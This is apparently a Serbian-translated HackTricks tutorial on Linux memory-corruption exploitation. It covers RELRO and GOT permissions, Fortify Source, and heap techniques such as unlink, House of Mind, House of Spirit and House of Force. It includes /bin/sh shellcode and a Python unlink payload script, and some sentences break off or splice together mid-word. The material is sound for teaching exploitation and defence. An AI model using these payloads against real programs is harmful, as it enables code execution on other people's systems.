$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Bez relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Za binarni fajl bez relro-a, možemo videti da je adresa got
unosa za fgets
0x404018
. Pogledajući mapiranje memorije, vidimo da se nalazi između 0x404000
i 0x405000
, što ima dozvole rw
, što znači da možemo čitati i pisati u toj oblasti. Za binarni fajl sa relro-om, vidimo da je adresa tabele got
za pokretanje binarnog fajla (pie je omogućen, pa će se ova adresa promeniti) 0x555555557fd0
. U mapiranju memorije tog binarnog fajla se nalazi između 0x0000555555557000
i 0x0000555555558000
, što ima memoriju dozvole r
, što znači da možemo samo čitati iz nje.
Kako onda zaobići ovo? Tipičan način zaobilaženja koji koristim je da jednostavno ne pišem u memorijske regione koje relro čini samo za čitanje, i pronađem drugi način za izvršavanje koda.
Napomena da bi ovo moglo da se desi, binarni fajl mora da zna unapred adrese funkcija:
- Lenje povezivanje: Adresa funkcije se traži prvi put kada se funkcija pozove. Dakle,
got
mora imati dozvole za pisanje tokom izvršavanja. - Poveži odmah: Adrese funkcija se rešavaju na početku izvršavanja, a zatim se dodeljuju dozvole samo za čitanje osetljivim sekcijama kao što su .got, .dtors, .ctors, .dynamic, .jcr.
`**
-z relro**
y**
-z now`**
Da biste proverili da li program koristi Poveži odmah, možete uraditi:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
Kada put kada se binarni fajl učita u memoriju i funkcija se prvi put pozove, skoči se na PLT (Procedure Linkage Table). Odatle se vrši skok (jmp) na GOT i otkriva se da ta unosa nije rešena (sadrži sledeću adresu iz PLT). Zatim se poziva Runtime Linker ili rtfd da reši adresu i sačuva je u GOT.
Kada se pozove funkcija, poziva se PLT, koja ima adresu GOT gde se čuva adresa funkcije, tako da preusmerava tok izvršavanja tamo i poziva funkciju. Međutim, ako je prvi put da se poziva funkcija, ono što se nalazi u GOT je sledeća instrukcija iz PLT, pa tok izvršavanja prati kod PLT (rtfd) i saznaje adresu funkcije, čuva je u GOT i poziva.
Prilikom učitavanja binarnog fajla u memoriju, kompajler mu je rekao na kojem offsetu treba da se nalaze podaci koji se moraju učitati prilikom pokretanja programa.
Lenje vezivanje (Lazy binding) - Adresa funkcije se traži prvi put kada se ta funkcija pozove, tako da GOT ima dozvolu za pisanje kako bi se adresa sačuvala tamo i ne bi je trebalo ponovo tražiti.
Veži odmah (Bind now) - Adrese funkcija se traže prilikom učitavanja programa i menja se dozvola sekcija .got, .dtors, .ctors, .dynamic, .jcr na samo čitanje. -z relro i -z now
Međutim, općenito gledano, programi nisu komplicirani s tim opcijama, pa su ovi napadi i dalje mogući.
readelf -l /proc/ID_PROC/exe | grep BIND_NOW - Da biste saznali da li koriste BIND NOW
Fortify Source -D_FORTIFY_SOURCE=1 ili =2
Pokušava identifikovati funkcije koje nebezbedno kopiraju podatke sa jednog mesta na drugo i menja funkciju sa bezbednom funkcijom.
Na primer:
char buf[16];
strcpy(buf, source);
Identifikuje je kao nebezbednu i zatim menja strcpy() sa __strcpy_chk() koristeći veličinu bafera kao maksimalnu veličinu za kopiranje.
Razlika između =1 i =2 je da:
Druga ne dozvoljava da %n dolazi iz sekcije sa dozvolom za pisanje. Takođe, parametar za direktan pristup argumentima može se koristiti samo ako su prethodno korišćeni, tj. može se koristiti samo %3$d ako je prethodno korišćeno %2$d i %1$d
Za prikazivanje poruke o grešci koristi se argv[0], pa ako se u njega stavi adresa druge lokacije (kao globalna promenljiva), poruka o grešci će prikazati sadržaj te promenljive. Str. 191
Zamena Libsafe
Aktivira se sa: LD_PRELOAD=/lib/libsafe.so.2
ili
“/lib/libsave.so.2” > /etc/ld.so.preload
Pozivi nekih nebezbednih funkcija se presreću i zamenjuju bezbednim funkcijama. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne za statičke kompilacije, ne sve ranjive funkcije postaju bezbedne i LD_PRELOAD ne radi za binarne fajlove sa suid).
ASCII Armored Address Space
Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja gotovo nijedan napad, a posebno ne u little endian formatu.
ret2plt
Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se na unos u GOT-u i kopira se prvi bajt funkcije koju želimo pozvati (system()). Zatim se isto radi usmeravajući se na GOT+1 i kopira se drugi bajt system()... Na kraju se poziva adresa koja je sačuvana u GOT-u, a to će biti system().
Lažni EBP
Za funkcije koje koriste EBP kao registar za pokazivač na argumente, prilikom izmene EIP-a i usmeravanja na system(), takođe treba izmeniti i EBP kako bi pokazivao na memorijsko područje koje ima bilo koja 2 bajta, a zatim na adresu &"/bin/sh".
Kavezi sa chroot()
debootstrap -arch=i386 hardy /home/user - Instalira osnovni sistem u određeni poddirektorijum
Administrator može izaći iz ovih kaveza tako što napravi: mkdir foo; chroot foo; cd ..
Instrumentacija koda
Valgrind - Traži greške
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflow: Osnovni eksploiti
Dodeljeni deo
prev_size |
size | - Zaglavlje
*mem | Podaci
Slobodan deo
prev_size |
size |
*fd | Ptr naprednog bloka
*bk | Ptr nazadnog bloka - Zaglavlje
*mem | Podaci
Slobodni delovi su u dvostruko povezanoj listi (bin) i nikada ne smeju postojati dva slobodna dela zajedno (spajaju se).
U "size" se nalaze bitovi koji označavaju: da li je prethodni deo u upotrebi, da li je deo dodeljen putem mmap() i da li deo pripada primarnoj areni.
Ako se oslobodi deo i neki od susednih delova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći deo se prosleđuje frontlink() da ga ubaci u odgovarajući bin.
unlink(){
BK = P->bk; - BK novog bloka je onaj koji je imao prethodno slobodan blok
FD = P->fd; - FD novog bloka je onaj koji je imao prethodno slobodan blok
FD->bk = BK; - BK sledećeg bloka pokazuje na novi blok
BK->fd = FD; - FD prethodnog bloka pokazuje na novi blok
}
Dakle, ako uspemo da izmenimo P->bk sa adresom shell koda i P->fd sa adresom unosa u GOT ili DTORS minus 12, postiže se:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
I tako se prilikom izlaska iz programa izvršava shell kod.
Osim toga, četvrta naredba unlink() piše nešto i shell kod mora biti prilagođen za to:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) - Ovo dovodi do pisanja 4 bajta počevši od 8. bajta shell koda, pa prva instrukcija shell koda mora bit shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Kontrolišemo 3 uzastopna chunk-a i oni se oslobađaju u obrnutom redosledu od rezervisanog.
U ovom slučaju:
U chunk-u c se smešta shellcode
Chunk a koristimo da prepišemo b tako da size ima isključen bit PREV_INUSE tako da misli da je chunk a slobodan.
Takođe, u zaglavlju b se prepiše size tako da bude -4.
Zatim, program će misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odveže. Međutim, pošto PREV_SIZE u zaglavlju ima vrednost -4, pomisliće da chunk "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na chunk koji počinje na b+4, pa će u b+12 biti pokazivač "fd", a u b+16 će biti pokazivač "bk".
Na ovaj način, ako u bk stavimo adresu shellcode, a u fd stavimo adresu funkcije "puts()"-12, imamo naš payload.
Tehnika Frontlink
Frontlink se poziva kada se nešto oslobađa, a nijedan od susednih chunk-ova nije slobodan. Tada se ne poziva unlink(), već se direktno poziva frontlink().
Korisna ranjivost kada malloc koji se napada nikada nije oslobođen (free()).
Potrebno je:
Bafer koji može biti preplavljen unosom podataka
Susedni bafer koji treba osloboditi i čije će se polje fd u zaglavlju izmeniti zbog preplavljivanja prethodnog bafera
Bafer koji treba osloboditi sa veličinom većom od 512, ali manjom od prethodnog bafera
Bafer koji je deklarisan pre koraka 3 i koji omogućava prepisivanje prev_size-a
Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se samo oslobađa, možemo izvršiti exploit.
Ranjivost double free()
Ako se dva puta pozove free() sa istim pokazivačem, imaćemo dva bin-a koji pokazuju na istu adresu.
Ako želimo ponovo koristiti jedan, to će se desiti bez problema. Ako želimo koristiti drugi, dodeliće mu se isti prostor, pa ćemo imati lažirane pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija.
After free()
Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.
8 Heap preplavljivanje: Napredni exploit-i
Tehnike Unlink() i FrontLink() su uklonjene izmenom funkcije unlink().
The house of mind
Potrebno je samo jedno oslobođenje (free()) da bi se izvršio proizvoljni kod. Potrebno je pronaći drugi chunk koji može biti preplavljen prethodnim i oslobođen.
Poziv free() dovodi do poziva public_fREe(mem), koji radi sledeće:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj chunk počinje (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
U [1] se proverava polje size bit NON_MAIN_ARENA, koje se može promeniti da bi provera vratila true i izvršila se funkcija heap_for_ptr(), koja vrši AND operaciju nad "mem" i postavlja na 0 najmanje značajna 2.5 bajta (u našem slučaju od 0x0804a000 postaje 0x08000000) i pristupa 0x08000000->ar_ptr (kao da je struktura heap_info)
Na ovaj način, ako možemo kontrolisati chunk na primer na 0x0804a000 i treba osloboditi chunk na 0x081002a0, možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer 0x0804a000. Kada se ovaj drugi chunk oslobodi, naći će da heap_for_ptr(ptr)->ar_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje AND na 0x081002a0, što smo videli ranije, i iz te vrednosti se uzima vrednost prvih 4 bajta, ar_ptr)
Na ovaj način se poziva _int_free(ar_ptr, mem), odnosno _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u chunk koji će biti oslobođen.
Kako je unsorted_chunks definisan, znamo da:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Dakle, ako u av->bins[2] upišemo vrednost __DTOR_END__-12, u poslednjoj instrukciji će se upisati u __DTOR_END__ adresa drugog chunk-a.
Drugim rečima, u prvom chunk-u moramo na početak staviti adres Ova tehnika više nije primenjiva jer je gotovo isti zakrpa primenjen kao i za unlink. Upoređuju se da li nova lokacija na koju se pokazuje takođe pokazuje na njega.
Fastbin
To je varijanta The house of mind
interesuje nas da izvršimo sledeći kod koji se izvršava nakon prvog provere funkcije _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Gde je fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Na ovaj način, ako se postavi u "fb", daje adresu funkcije u GOT, na ovu adresu će se postaviti adresa prebrisane sekcije. Za ovo će biti potrebno da arena bude blizu adresa dtors. Tačnije, av->max_fast treba da bude na adresi koju želimo da prepišemo.
S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.
Zato, ako u polje size stavimo veličinu od 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() će nam vratiti fastbins[-1], koji će pokazivati na av->max_fast
U ovom slučaju, av->max_fast će biti adresa koja će biti prebrisana (ne na koju pokazuje, već ta pozicija će biti prebrisana).
Takođe, mora se ispuniti uslov da susedni segment oslobođenog segmenta bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog segmenta 8, u ovom lažnom segmentu samo trebamo staviti veličinu veću od 8 (pošto će shellcode biti u oslobođenom segmentu, treba staviti na početak jmp koji će pasti na nops).
Takođe, isti lažni segment mora biti manji od av->system_mem. av->system_mem se nalazi 1848 bajtova dalje.
Zbog nula iz _DTOR_END_ i malog broja adresa u GOT, nijedna adresa iz ovih sekcija ne može biti prebrisana, pa hajde da vidimo kako primeniti fastbin za napad na stek.
Još jedan način napada je preusmeravanje av na stek.
Ako promenimo veličinu na 16 umesto 8, tada: fastbin_index() će nam vratiti fastbins[0] i to možemo iskoristiti da prepišemo stek.
Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom rasporedu: 4 nula bajta + EBP + RET
Potrebna su nam 4 nula bajta kako bi av bio na toj adresi i prvi element av je mutex koji mora biti 0.
av->max_fast će biti EBP i biće vrednost koja će nam omogućiti da zaobiđemo ograničenja.
U av->fastbins[0] će biti prebrisana adresa p i biće RET, tako da će se preskočiti na shellcode.
Takođe, u av->system_mem (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da zaobiđemo proveru koja se vrši.
Takođe, mora se ispuniti uslov da susedni segment oslobođenog segmenta bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog segmenta 16, u ovom lažnom segmentu samo trebamo staviti veličinu veću od 8 (pošto će shellcode biti u oslobođenom segmentu, treba staviti na početak jmp koji će pasti na nops koji dolaze nakon polja size novog lažnog segmenta).
The House of Spirit
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive).
Na taj način, mogli bismo da navedemo da ovaj pokazivač pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog segmenta mora biti manja od av->max_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zato, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog segmenta mora biti jednaka 48.
Na primer, ako program pita korisnika za broj, možemo uneti 48 i uputiti promenljivi pokazivač malloc na sledećih 4 bajta (koji mogu pripadati EBP-u sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), to jest, 8 < ptr-4+48 < av->system_mem.
Ako se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), dodeliće mu se adresa adresa EBP-a. Ako napadač takođe može kontrolisati šta se piše u ovom mallocu, može prebrisati i EBP i EIP sa željenom adresom.
Mislim da je to zato što će kada se oslobodi free() zabeležiti da u adresi koja pokazuje na EBP steka postoji segment savršene veličine za novi malloc() koji se želi rezervisati, pa mu dodeljuje tu adresu.
The House of Force
Potrebno je:
- Preplavljivanje segmenta koje omogućava prebrisavanje wildernessa
- Poziv malloc() sa veličinom definisanom od strane korisnika
- Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
Prvo što se radi je prebrisavanje veličine segmenta wilderness sa vrlo velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom koji je dovoljno velik biti obrađen u _int_malloc() bez potrebe za proširivanjem heap-a.
Drugo je izmena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top se postavlja &EIP - 8.
Mora se prebrisati av->top tako da pokazuje na deo memorije pod kontrolom napadača:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim uzima vrednost adrese trenutnog segmenta wilderness (trenutni av->top) i remainder je tačno zbir te adrese plus broj bajtova koji su traženi od strane malloc(). Dakle, ako je &EIP-8 na adresi 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom mallocu kako bi av->top pokazivao na $EIP-8 za sledeći malloc():
0xbffff224 - 0x080c2788 = 3086207644.
Na taj način se čuva promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći
Heap eksploatacija - osnovni ESP
Overflow sa dva malloc-a
Potrebno je rezervisati dva malloc-a, tako da prvi može biti preplavljen nakon što je drugi oslobođen i ubačen u svoj bin (tj. kada je rezervisan malloc veći od drugog dela pre nego što se preplavi).
Malloc koji je rezervisan i čija adresa je odabrana od strane napadača mora biti pod kontrolom napadača.
Cilj je sledeći: ako možemo preplaviti heap koji ima oslobođen deo ispod sebe i nalazi se u svom bin-u, možemo promeniti njegov bk pokazivač. Ako promenimo bk pokazivač i taj deo postane prvi na listi bin-a i rezerviše se, bin će biti prevaren i reći će mu se da je poslednji deo liste (sledeći koji se nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvole na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega.
Nakon što je promenjen deo oslobođenog dela, potrebno je rezervisati deo koji je veći od oslobođenog, tako da promenjeni deo izađe iz unsorted bin-a i ubaci se u svoj bin.
Kada se nalazi u svom bin-u, vreme je da se promeni bk pokazivač preko preplavljenosti kako bi pokazivao na adresu koju želimo da prepišemo.
Dakle, bin mora da čeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio promenjeni bin i prevario bin tako što će mu se reći da je sledeći deo na lažnoj adresi. A zatim će biti dat deo koji nam je potreban.
Da bi se izvršila ranjivost što je pre moguće, idealno bi bilo: rezervacija ranjivog dela, rezervacija dela koji će biti promenjen, oslobođenje tog dela, rezervacija dela koji je veći od dela koji će biti promenjen, promena dela (ranjivost), rezervacija dela iste veličine kao ranjivi deo i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu.
Da bi se zaštitio od ovog napada, koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela na stack-u pokazuje na žrtvu. Da bi se prevazišla ova zaštita, napadač mora biti sposoban da na neki način (verovatno preko stack-a) upiše odgovarajuću adresu žrtve na odgovarajuću adresu. Tako će izgledati kao pravi deo.
Korupcija LargeBin-a
Potrebni su isti uslovi kao i pre, ali i neki dodatni, osim toga, rezervisani delovi moraju biti veći od 512.
Napad je isti kao i prethodni, tj. potrebno je promeniti bk pokazivač i potrebni su svi ti pozivi malloc(), ali takođe je potrebno promeniti veličinu promenjenog dela tako da ta veličina - nb bude < MINSIZE.
Na primer, postavićemo veličinu na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne sme biti negativno jer se upoređuje sa unsigned vrednošću).
Takođe je uveden zakrpa da bi to bilo još teže.
Heap Spraying
Osnovna ideja je rezervisati što više memorije za heap-ove i popuniti ih jastukom od nops-a koji se završava shellcode-om. Osim toga, kao jastuk se koristi 0x0c. Pokušaćemo da skočimo na adresu 0x0c0c0c0c, tako da ako se neka adresa preplavi sa ovim jastukom i pozove se, skočiće tamo. Osnovna taktika je rezervisati što je više moguće da bismo videli da li se neki pokazivač preplavljuje i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops.
Heap Feng Shui
Sastoji se od rezervacija i oslobođenja memorije na način da se delovi memorije rezervišu između oslobođenih delova. Buffer koji će biti preplavljen će biti smešten u jednom od tih delova.
objdump -d izvršni_fajl —> Disas funkcije
objdump -d ./PROGRAM | grep FUNKCIJA —> Dobijanje adrese funkcije
objdump -d -Mintel ./shellcodeout —> Da biste videli da li je to zaista naš shellcode i izvukli OpCodes
objdump -t ./exec | grep varBss —> Tabela simbola, da biste dobili adresu promenljive i funkcije
objdump -TR ./exec | grep exit(func lib) —> Da biste dobili adresu funkcija biblioteka (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Izvlači adresu puts-a koju treba prebrisati u GOT-u
objdump -D ./exec —> Disas sve do ulaza u plt
objdump -p -/exec
Info functions strncmp —> Info o funkciji u gdb
Interesantni kursevi
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini da podržite HackTricks:
- Ako želite da vidite vašu kompaniju oglašenu u HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.